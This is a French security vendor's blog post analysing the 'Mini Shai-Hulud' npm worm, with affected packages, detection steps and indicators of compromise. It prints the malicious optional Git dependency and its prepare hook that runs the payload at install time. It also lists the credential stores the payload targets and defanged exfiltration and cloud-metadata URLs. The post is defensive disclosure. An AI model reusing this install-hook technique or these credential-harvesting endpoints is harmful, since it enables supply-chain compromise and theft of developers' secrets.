Aikido

Mini Shai-Hulud est de retour : un ver npm affecte plus de 160 paquets, dont Mistral et Tanstack

Écrit par
Raphael Silva

Mini Shai-Hulud est de retour. Comme je l'ai dit précédemment, nous n'avions pas encore vu l'ampleur totale de l'attaque.

La campagne npm que nous avons couverte en avril, lorsqu'elle ciblait les packages SAP, s'est maintenant transformée en une compromission bien plus importante. Notre équipe Malware a détecté 373 entrées de versions de packages malveillantes réparties sur 169 noms de packages npm.

L'objectif fondamental reste le même : voler les identifiants des machines de développeurs et des runners CI/CD, puis utiliser ces identifiants pour atteindre davantage de packages.

Ce qui a changé, c'est l'échelle et le chemin de release. Cette vague ne ressemble pas seulement à quelqu'un publiant manuellement de mauvaises versions. Le malware est conçu pour s'exécuter à l'intérieur des systèmes de build, voler l'accès npm et GitHub, et abuser des chemins de publication de confiance pour pousser de nouveaux packages compromis.

Si vous avez lu notre précédent article, Mini Shai-Hulud Targets SAP npm Packages With a Bun-Based Secret Stealer, voici la suite : la même idée, mais avec un rayon d'action beaucoup plus grand.

Ce qui s'est passé

TanStack est toujours l'un des clusters les plus visibles, mais ce n'est plus toute l'histoire. L'ensemble affecté inclut désormais des packages à travers @squawk, @tanstack, @uipath, @tallyui, @beproduct, @mistralai, @draftlab, @draftauth, @taskflow-corp, @tolka, et plusieurs packages non scopés.

Les plus grands clusters de cette campagne sont :

  • @squawk: 87 entrées de version de package
  • @tanstack: 83 entrées de version de package
  • @uipath: 66 entrées de version de package
  • packages non-scopés : 39 entrées de version de package
  • @tallyui: 30 entrées de version de package
  • @beproduct: 18 entrées de version de package

Cette liste est encore en évolution. Vous pouvez consulter la liste complète des paquets affectés à la fin du blog. L'important n'est pas seulement le nombre de paquets, mais aussi leur lieu d'exécution. Ces paquets sont susceptibles d'être installés dans les environnements de développement locaux, les tâches de CI, les workflows de publication et les systèmes de build internes.

Comment fonctionne la nouvelle vague

Dans la vague SAP, les paquets compromis ont ajouté un preinstall hook qui exécutait setup.mjs, qui a ensuite utilisé Bun pour exécuter une charge utile obfusquée nommée execution.js.

Cette vague utilise une approche légèrement différente.

Dans les paquets TanStack compromis, le tarball du paquet inclut un nouveau fichier obfusqué à la racine du paquet :

router_init.js

Le paquet compromis ajoute également une dépendance optionnelle qui pointe vers un paquet hébergé sur GitHub

"optionalDependencies": {
  "@tanstack/setup": "github:tanstack/router#79ac49eedf774dd4b0cfa308722bc463cfe5885c"
}

Cette dépendance Git contient un prepare script :

"scripts": {
  "prepare": "bun run tanstack_runner.js && exit 1"
}

C'est là l'astuce. npm exécute des scripts de cycle de vie pour les dépendances Git lors de l'installation. Ainsi, un paquet qui ressemble à une dépendance normale peut discrètement accéder à une dépendance hébergée sur GitHub, exécuter son prepare hook, et exécuter la charge utile.

Le && exit 1 à la fin est également intéressant. Étant donné que la dépendance est optionnelle, un échec après l'exécution de la charge utile peut rendre l'installation moins suspecte. Le code malveillant a déjà été exécuté au moment où npm considère la dépendance optionnelle comme ayant échoué.

Pourquoi la publication de confiance est importante ici

L'un des aspects les plus délicats de cette vague est l'utilisation de la publication de confiance.

La publication de confiance vise à supprimer les jetons npm de longue durée des workflows de publication. Un workflow GitHub Actions peut utiliser OIDC pour demander un jeton de publication npm de courte durée, publier le paquet et attacher la provenance à la publication.

C'est une bonne chose lorsque le workflow est propre.

C'est bien pire lorsque du code contrôlé par un attaquant s'exécute à l'intérieur du workflow. À ce stade, l'attaquant n'a peut-être pas du tout besoin de voler un jeton npm de longue durée. Il peut utiliser les propres permissions OIDC du workflow pour générer un jeton de publication pendant la construction et publier à partir de là.

Cela signifie également que la provenance n'est pas un signal de sécurité complet. Un paquet malveillant peut toujours provenir du workflow GitHub Actions attendu si ce workflow a été abusé lors de la publication.

En termes simples : la provenance peut indiquer l'origine de la construction du package. Cependant, cela ne garantit pas que la construction était sécurisée.

Ce que la charge utile tente de dérober

Le payload est conçu pour les environnements CI/CD et de développement.

Il recherche :

  • Tokens GitHub
  • Tokens npm
  • Tokens OIDC GitHub Actions
  • Identifiants AWS et métadonnées d'instance
  • Fichiers de compte de service Kubernetes
  • Tokens HashiCorp Vault et endpoints Vault locaux
  • variables d'environnement
  • Secrets du système de fichiers local

Le payload contient également une logique de propagation. Après avoir dérobé les tokens, il tente de les utiliser pour identifier les packages que la victime peut publier, modifier les archives de packages, injecter la dépendance malveillante, incrémenter les versions et publier de nouvelles versions compromises.

C'est ce qui en fait plus qu'un simple infostealer. Le malware ne cherche pas seulement à voler la victime actuelle. Il tente de transformer l'accès de la victime aux publications en la prochaine voie d'infection.

Ce qui a changé depuis l'attaque SAP

La vague SAP était moins importante en nombre de packages, mais a eu un impact élevé car elle a affecté les outils de build d'entreprise.

Cette vague est plus étendue. Les packages TanStack sont largement utilisés dans les applications JavaScript modernes, notamment pour le routage et les outils React full-stack. Un package compromis dans cette partie de l'arbre de dépendances peut rapidement se propager à de nombreux endroits.

Il y a également quelques changements techniques :

  • les packages SAP utilisaient setup.mjs et execution.js
  • la nouvelle vague TanStack utilise router_init.js et une hébergée sur GitHub @tanstack/setup dépendance
  • la nouvelle vague s'appuie davantage sur GitHub Actions, OIDC, la publication npm et le reconditionnement de packages
  • le payload est toujours basé sur Bun et reste axé sur le vol de secrets

Le schéma reste le même : obtenir l'exécution de code lors de l'installation, dérober les identifiants, puis les utiliser pour publier davantage de malwares.

Détection et atténuation

Commencez par les lockfiles et les caches de paquets.

Recherchez les namespaces et les paquets affectés :

  • @squawk/
  • @tanstack/
  • @uipath/
  • @tallyui/
  • @beproduct/nestjs-auth
  • @mistralai/
  • @draftauth/
  • @draftlab/
  • @taskflow-corp/cli
  • @tolka/cli
  • @ml-toolkit-ts/
  • @mesadev/
  • @dirigible-ai/sdk
  • @supersurkhet/
  • packages non-scopés listés ci-dessus, y compris safe-action, ts-dna, cross-stitch, cmux-agent-mcp, agentwork-cli, git-branch-selector, wot-api, git-git-git, nextmove-mcp, et ml-toolkit-ts

Recherchez les nouveaux fichiers de payload et les marqueurs de dépendance :

  • router_init.js
  • router_runtime.js
  • tanstack_runner.js
  • @tanstack/setup
  • github:tanstack/router#79ac49eedf774dd4b0cfa308722bc463cfe5885c
  • bun run tanstack_runner.js

Recherchez dans les logs CI les éléments suivants :

  • exécution inattendue de Bun pendant npm install
  • échecs de dépendances optionnelles impliquant @tanstack/setup
  • connexions sortantes lors de l'installation des dépendances
  • activité de publication npm provenant de workflows qui n'auraient pas dû publier
  • requêtes de jetons OIDC de GitHub Actions lors d'étapes inattendues

Si une version de package compromise a été exécutée sur une machine de développeur ou un runner CI, faites pivoter les secrets de cet environnement. Ne vous limitez pas aux jetons npm.

Faites pivoter ou examinez :

  • jetons npm et accès à la publication de packages
  • PATs GitHub et secrets GitHub Actions
  • identifiants cloud
  • Jetons de compte de service Kubernetes
  • jetons Vault
  • secrets de déploiement

Auditez également les publications npm récentes, les exécutions GitHub Actions et les enregistrements de provenance. Un enregistrement de provenance valide ne doit pas être considéré comme une preuve que le package est sain.

Indicateurs de compromission

Fichiers et payloads :

  • router_init.js
  • router_runtime.js
  • tanstack_runner.js
  • router_init.js SHA-256: ab4fcadaec49c03278063dd269ea5eef82d24f2124a8e15d7b90f2fa8601266c
  • tanstack_runner.js SHA-256: 2ec78d556d696e208927cc503d48e4b5eb56b31abc2870c2ed2e98d6be27fc96

Marqueurs de package :

  • @tanstack/setup
  • github:tanstack/router#79ac49eedf774dd4b0cfa308722bc463cfe5885c
  • prepare exécution de script bun run tanstack_runner.js
  • fichier de payload au niveau racine inclus en dehors du contenu normal du package

Indicateurs réseau et de service :

  • hxxp://filev2[.]getsession[.]org/file/
  • hxxp://169[.]254[.]169[.]254/latest/meta-data/iam/security-credentials/
  • hxxp://169[.]254[.]170[.]2
  • hxxps://registry[.]npmjs[.]org/-/npm/v1/tokens
  • vault[.]svc[.]cluster[.]local:8200

Marqueurs de campagne :

  • Un Mini Shai-Hulud est apparu
  • Noms de dépôts thématiques Dune utilisés pour la sortie et le staging du ver

Conclusion

Mini Shai-Hulud est passé d'un incident plus restreint ciblant SAP à une attaque plus large sur la chaîne d'approvisionnement npm.

La leçon importante n'est pas seulement que davantage de packages ont été compromis. C'est que le malware est conçu autour du fonctionnement des systèmes de release modernes. Il s'exécute lors de l'installation, recherche les identifiants CI/CD, abuse des chemins de publication GitHub et npm, et tente de s'introduire dans le package suivant.

Si l'un des packages affectés a été exécuté dans votre environnement, considérez la machine ou le runner comme exposé jusqu'à ce que les secrets soient renouvelés et que l'activité de publication récente ait été examinée.

Comment Aikido détecte cela

Si vous êtes un utilisateur Aikido, vérifiez votre flux central et filtrez les problèmes de logiciels malveillants. Cela apparaîtra comme un problème critique 100/100. Aikido effectue des rescans nocturnes, mais nous vous recommandons de déclencher un rescan manuel dès maintenant.

Si vous n'êtes pas encore un utilisateur Aikido, vous pouvez créer un compte et connecter vos dépôts. Notre couverture des logiciels malveillants est incluse dans le plan gratuit, aucune carte de crédit requise.

Pour une couverture plus large de toute votre équipe, l'Endpoint Protection d'Aikido vous offre une visibilité et un contrôle sur les packages logiciels installés sur les appareils de votre équipe. Elle couvre les extensions de navigateur, les bibliothèques de code, les plugins d'IDE et les dépendances de build, le tout en un seul endroit. Arrêtez les logiciels malveillants avant qu'ils ne soient installés.

Pour une protection future, envisagez Aikido Safe Chain (open source). Safe Chain s'intègre à votre flux de travail existant, en interceptant les commandes npm, npx, yarn, pnpm et pnpx et en vérifiant les paquets par rapport à Aikido Intel avant l'installation.

Annexe : Paquets et versions affectés

Liste actuelle des packages et versions identifiés par notre équipe :

  • @tanstack/history: 1.161.9, 1.161.12
  • @tanstack/react-router: 1.169.5, 1.169.8
  • @tanstack/router-core: 1.169.5, 1.169.8
  • @tanstack/router-utils: 1.161.11, 1.161.14
  • @tanstack/router-plugin: 1.167.38, 1.167.41
  • @tanstack/virtual-file-routes: 1.161.10, 1.161.13
  • @tanstack/router-generator: 1.166.45, 1.166.48
  • @tanstack/start-server-core: 1.167.33, 1.167.36
  • @tanstack/start-client-core: 1.168.5, 1.168.8
  • @tanstack/start-storage-context: 1.166.38, 1.166.41
  • @tanstack/start-plugin-core: 1.169.23, 1.169.26
  • @tanstack/react-start-server: 1.166.55, 1.166.58
  • @tanstack/react-start-client: 1.166.51, 1.166.54
  • @tanstack/start-fn-stubs: 1.161.9, 1.161.12
  • @tanstack/react-start: 1.167.68, 1.167.71
  • @tanstack/react-start-rsc: 0.0.47, 0.0.50
  • @mistralai/mistralai: 2.2.2, 2.2.3, 2.2.4
  • @tanstack/react-router-devtools: 1.166.16, 1.166.19
  • @tanstack/router-devtools-core: 1.167.6, 1.167.9
  • @tanstack/router-devtools: 1.166.16, 1.166.19
  • @tanstack/router-ssr-query-core: 1.168.3, 1.168.6
  • @tanstack/react-router-ssr-query: 1.166.15, 1.166.18
  • @tanstack/router-cli: 1.166.46, 1.166.49
  • @tanstack/zod-adapter: 1.166.12, 1.166.15
  • @tanstack/eslint-plugin-router: 1.161.9
  • @tanstack/router-vite-plugin: 1.166.53, 1.166.56
  • @tanstack/nitro-v2-vite-plugin: 1.154.12, 1.154.15
  • @mistralai/mistralai-gcp: 1.7.1, 1.7.2, 1.7.3
  • @tanstack/solid-router: 1.169.5, 1.169.8
  • @tanstack/solid-start: 1.167.65, 1.167.68
  • @tanstack/solid-start-client: 1.166.50, 1.166.53
  • @tanstack/solid-start-server: 1.166.54, 1.166.57
  • @tanstack/solid-router-devtools: 1.166.16, 1.166.19
  • @tanstack/start-static-server-functions: 1.166.44, 1.166.47
  • @tanstack/vue-router: 1.169.5, 1.169.8
  • @uipath/apollo-react: 4.24.5
  • @tanstack/solid-router-ssr-query: 1.166.15, 1.166.18
  • safe-action: 0.8.3, 0.8.4
  • @tanstack/valibot-adapter: 1.166.12, 1.166.15
  • @tanstack/vue-start: 1.167.61, 1.167.64
  • @uipath/apollo-wind: 2.16.2
  • @uipath/cli: 1.0.1
  • @tanstack/vue-start-server: 1.166.50, 1.166.53
  • @squawk/types: 0.8.2, 0.8.3, 0.8.4
  • @uipath/rpa-tool: 0.9.5
  • @squawk/mcp: 0.9.1, 0.9.2, 0.9.3, 0.9.4
  • @tanstack/vue-start-client: 1.166.46, 1.166.49
  • @squawk/weather: 0.5.6, 0.5.7, 0.5.8, 0.5.9
  • @squawk/airspace: 0.8.1, 0.8.2, 0.8.3, 0.8.4
  • @squawk/icao-registry-data: 0.8.4, 0.8.5, 0.8.6, 0.8.7
  • @tanstack/arktype-adapter: 1.166.12, 1.166.15
  • @squawk/flightplan: 0.5.2, 0.5.3, 0.5.4, 0.5.5
  • @squawk/airports: 0.6.2, 0.6.3, 0.6.4, 0.6.5
  • @mesadev/sdk: 0.28.3
  • @squawk/geo: 0.4.4, 0.4.5, 0.4.6, 0.4.7
  • @mesadev/rest: 0.28.3
  • @squawk/procedure-data: 0.7.3, 0.7.4, 0.7.5, 0.7.6
  • @squawk/navaid-data: 0.6.4, 0.6.5, 0.6.6, 0.6.7
  • @squawk/fix-data: 0.6.4, 0.6.5, 0.6.6, 0.6.7
  • @squawk/navaids: 0.4.2, 0.4.3, 0.4.4, 0.4.5
  • @squawk/fixes: 0.3.2, 0.3.3, 0.3.4, 0.3.5
  • @squawk/airport-data: 0.7.4, 0.7.5, 0.7.6, 0.7.7
  • @squawk/airway-data: 0.5.4, 0.5.5, 0.5.6, 0.5.7
  • @squawk/units: 0.4.3, 0.4.4, 0.4.5, 0.4.6
  • @squawk/procedures: 0.5.2, 0.5.3, 0.5.4, 0.5.5
  • @squawk/airways: 0.4.2, 0.4.3, 0.4.4, 0.4.5
  • @squawk/icao-registry: 0.5.2, 0.5.3, 0.5.4, 0.5.5
  • @uipath/apollo-core: 5.9.2
  • @squawk/notams: 0.3.6, 0.3.7, 0.3.8, 0.3.9
  • @uipath/filesystem: 1.0.1
  • @uipath/solutionpackager-tool-core: 0.0.34
  • @squawk/flight-math: 0.5.4, 0.5.5, 0.5.6, 0.5.7
  • @squawk/airspace-data: 0.5.3, 0.5.4, 0.5.5, 0.5.6
  • @mistralai/mistralai-azure: 1.7.1, 1.7.2, 1.7.3
  • @uipath/solution-tool: 1.0.1
  • @tanstack/eslint-plugin-start: 0.0.4, 0.0.7
  • @uipath/maestro-tool: 1.0.1
  • @uipath/codedapp-tool: 1.0.1
  • @uipath/agent-tool: 1.0.1
  • @draftlab/auth: 0.24.1, 0.24.2
  • @uipath/orchestrator-tool: 1.0.1
  • @uipath/integrationservice-tool: 1.0.2
  • @taskflow-corp/cli: 0.1.24, 0.1.25, 0.1.26, 0.1.27, 0.1.28, 0.1.29
  • @tanstack/vue-router-ssr-query: 1.166.15, 1.166.18
  • @uipath/rpa-legacy-tool: 1.0.1
  • @uipath/vertical-solutions-tool: 1.0.1
  • @uipath/flow-tool: 1.0.2
  • @uipath/codedagent-tool: 1.0.1
  • @uipath/common: 1.0.1
  • @uipath/resource-tool: 1.0.1
  • @uipath/auth: 1.0.1
  • @uipath/docsai-tool: 1.0.1
  • @uipath/case-tool: 1.0.1
  • @uipath/api-workflow-tool: 1.0.1
  • @tanstack/vue-router-devtools: 1.166.16, 1.166.19
  • @uipath/test-manager-tool: 1.0.2
  • @uipath/robot: 1.3.4
  • @uipath/traces-tool: 1.0.1
  • @uipath/agent-sdk: 1.0.2
  • @uipath/integrationservice-sdk: 1.0.2
  • @uipath/maestro-sdk: 1.0.1
  • @uipath/data-fabric-tool: 1.0.2
  • @mesadev/saguaro: 0.4.22
  • @uipath/tasks-tool: 1.0.1
  • @uipath/insights-tool: 1.0.1
  • @uipath/insights-sdk: 1.0.1
  • @uipath/uipath-python-bridge: 1.0.1
  • @draftlab/db: 0.16.1
  • @uipath/ap-chat: 1.5.7
  • @uipath/project-packager: 1.1.16
  • @uipath/packager-tool-case: 0.0.9
  • @uipath/packager-tool-workflowcompiler-browser: 0.0.34
  • @uipath/packager-tool-connector: 0.0.19
  • @uipath/packager-tool-workflowcompiler: 0.0.16
  • @uipath/packager-tool-webapp: 1.0.6
  • @uipath/packager-tool-apiworkflow: 0.0.19
  • @uipath/packager-tool-functions: 0.1.1
  • ts-dna: 3.0.1, 3.0.2, 3.0.3, 3.0.4
  • @uipath/widget.sdk: 1.2.3
  • @uipath/resources-tool: 0.1.11
  • @uipath/agent.sdk: 0.0.18
  • cross-stitch: 1.1.3, 1.1.4, 1.1.5, 1.1.6
  • @uipath/codedagents-tool: 0.1.12
  • @uipath/aops-policy-tool: 0.3.1
  • @uipath/solution-packager: 0.0.35
  • @draftlab/auth-router: 0.5.1, 0.5.2
  • cmux-agent-mcp: 0.1.3, 0.1.4, 0.1.5, 0.1.6, 0.1.7, 0.1.8
  • agentwork-cli: 0.1.4, 0.1.5
  • @uipath/packager-tool-bpmn: 0.0.9
  • @draftauth/core: 0.13.1, 0.13.2
  • @dirigible-ai/sdk: 0.6.2, 0.6.3
  • @uipath/packager-tool-flow: 0.0.19
  • git-branch-selector: 1.3.3, 1.3.4, 1.3.5, 1.3.6, 1.3.7
  • wot-api: 0.8.1, 0.8.2, 0.8.3, 0.8.4
  • git-git-git: 1.0.8, 1.0.9, 1.0.10, 1.0.11, 1.0.12
  • @beproduct/nestjs-auth: 0.1.2, 0.1.3, 0.1.4, 0.1.5, 0.1.6, 0.1.7, 0.1.8, 0.1.9, 0.1.10, 0.1.11, 0.1.12, 0.1.13, 0.1.14, 0.1.15, 0.1.16, 0.1.17, 0.1.18, 0.1.19
  • @ml-toolkit-ts/xgboost: 1.0.3, 1.0.4
  • nextmove-mcp: 0.1.3, 0.1.4, 0.1.5, 0.1.6, 0.1.7
  • ml-toolkit-ts: 1.0.4, 1.0.5
  • @uipath/telemetry: 0.0.7
  • @draftauth/client: 0.2.1, 0.2.2
  • @ml-toolkit-ts/preprocessing: 1.0.2, 1.0.3
  • @tallyui/connector-medusa: 1.0.1, 1.0.2, 1.0.3
  • @uipath/tool-workflowcompiler: 0.0.12
  • @uipath/vss: 0.1.6
  • @tallyui/theme: 0.2.1, 0.2.2, 0.2.3
  • @tallyui/storage-sqlite: 0.2.1, 0.2.2, 0.2.3
  • @uipath/solutionpackager-sdk: 1.0.11
  • @tallyui/connector-vendure: 1.0.1, 1.0.2, 1.0.3
  • @tallyui/core: 0.2.1, 0.2.2, 0.2.3
  • @tallyui/connector-woocommerce: 1.0.1, 1.0.2, 1.0.3
  • @tallyui/components: 1.0.1, 1.0.2, 1.0.3
  • @uipath/ui-widgets-multi-file-upload: 1.0.1
  • @tallyui/pos: 0.1.1, 0.1.2, 0.1.3
  • @tallyui/database: 1.0.1, 1.0.2, 1.0.3
  • @supersurkhet/cli: 0.0.2, 0.0.3, 0.0.4, 0.0.5, 0.0.6, 0.0.7
  • @tallyui/connector-shopify: 1.0.1, 1.0.2, 1.0.3
  • @tolka/cli: 1.0.2, 1.0.3, 1.0.4, 1.0.5, 1.0.6
  • @supersurkhet/sdk: 0.0.2, 0.0.3, 0.0.4, 0.0.5, 0.0.6, 0.0.7
  • @uipath/access-policy-tool: 0.3.1
  • @uipath/context-grounding-tool: 0.1.1
  • @uipath/gov-tool: 0.3.1
  • @uipath/admin-tool: 0.1.1
  • @uipath/identity-tool: 0.1.1
  • @uipath/llmgw-tool: 1.0.1
  • @uipath/resourcecatalog-tool: 0.1.1
  • @uipath/functions-tool: 1.0.1
  • @uipath/access-policy-sdk: 0.3.1
  • @uipath/platform-tool: 1.0.1

Partager :

https://www.aikido.dev/blog/mini-shai-hulud-is-back-tanstack-compromised

4,7/5
Fatigué des faux positifs ?
Essayez Aikido, comme 100 000 autres.
Commencez maintenant
Obtenez une démonstration personnalisée

Approuvé par plus de 100 000 équipes

Réserver maintenant
Analysez votre application à la recherche d'IDORs et de chemins d'attaque réels

Approuvé par plus de 100 000 équipes

Démarrer l'analyse
Découvrez comment le pentest IA teste votre application

Approuvé par plus de 100 000 équipes

Démarrer les tests

Sécurisez votre environnement dès maintenant.

Sécurisez votre code, votre cloud et votre environnement d’exécution dans un système centralisé unique.
Détectez et corrigez les vulnérabilités rapidement et automatiquement.

Aucune carte de crédit requise | Résultats en 32 secondes.